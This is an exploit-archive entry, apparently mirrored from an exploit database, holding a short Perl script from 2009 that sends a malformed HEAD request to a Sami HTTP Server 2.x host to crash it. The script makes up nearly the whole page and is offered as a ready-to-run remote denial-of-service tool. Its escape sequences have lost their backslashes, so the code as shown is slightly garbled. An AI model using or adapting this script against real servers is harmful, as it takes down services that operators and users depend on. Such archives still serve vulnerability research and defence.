[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sami HTTP Server 2.x (HEAD) Remote Denial of Service Exploit
# Published : 2009-03-30
# Author : Jonathan Salwan
# Previous Title : Wireshark <= 1.0.6 PN-DCP Format String Exploit PoC
# Next Title : Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow
#!/usr/bin/perl
#
# Sami HTTP Server v2.x Remote Denial of Service with (HEAD) request.
#
# --------------------------------------------------------------------
# The vulnerability is caused due to an error in handling the HEAD
# command. This can be exploited to crash the HTTP service.
# --------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwann";
print "[+] Soft : Sami HTTP Server v2.x Remote DoSn";
if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>n";
print "[-] Exemple: file.pl 127.0.0.1 80n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
print "[+] Sending request...n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-]Connexion FAILED!n";
print $socket "HEAD /x25 HTTP/1.0rn";
close($socket);
print "[+]Done!n";
# www.Syue.com [2009-03-30]